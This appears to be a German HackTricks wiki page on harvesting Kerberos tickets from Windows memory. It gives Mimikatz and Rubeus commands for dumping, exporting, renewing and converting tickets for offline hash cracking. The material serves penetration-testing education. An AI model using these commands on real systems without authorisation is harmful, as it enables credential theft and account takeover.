Ernten von Tickets aus Windows

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories senden.

Tickets in Windows werden vom lsass (Local Security Authority Subsystem Service)-Prozess verwaltet und gespeichert, der für die Verwaltung von Sicherheitsrichtlinien zuständig ist. Um diese Tickets zu extrahieren, ist es notwendig, mit dem lsass-Prozess zu interagieren. Ein nicht-administrativer Benutzer kann nur auf seine eigenen Tickets zugreifen, während ein Administrator das Privileg hat, alle Tickets im System zu extrahieren. Für solche Operationen werden die Tools Mimikatz und Rubeus weit verbreitet eingesetzt, die jeweils verschiedene Befehle und Funktionen bieten.

Mimikatz

Mimikatz ist ein vielseitiges Tool, das mit der Windows-Sicherheit interagieren kann. Es wird nicht nur zum Extrahieren von Tickets verwendet, sondern auch für verschiedene andere sicherheitsrelevante Operationen.

# Extracting tickets using Mimikatz
sekurlsa::tickets /export

Rubeus

Rubeus ist ein speziell für die Interaktion und Manipulation von Kerberos entwickeltes Tool. Es wird zur Extraktion und Verarbeitung von Tickets sowie für andere mit Kerberos zusammenhängende Aktivitäten verwendet.

# Dumping all tickets using Rubeus
.\Rubeus dump
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Listing all tickets
.\Rubeus.exe triage

# Dumping a specific ticket by LUID
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Renewing a ticket
.\Rubeus.exe renew /ticket:<BASE64_TICKET>

# Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:<BASE64_TICKET>

Bei Verwendung dieser Befehle stellen Sie sicher, dass Sie Platzhalter wie <BASE64_TICKET> und <luid> durch das tatsächliche Base64-kodierte Ticket und die Logon-ID ersetzen. Diese Tools bieten umfangreiche Funktionen zur Verwaltung von Tickets und zur Interaktion mit den Sicherheitsmechanismen von Windows.

Referenzen

https://www.tarlogic.com/en/blog/how-to-attack-kerberos/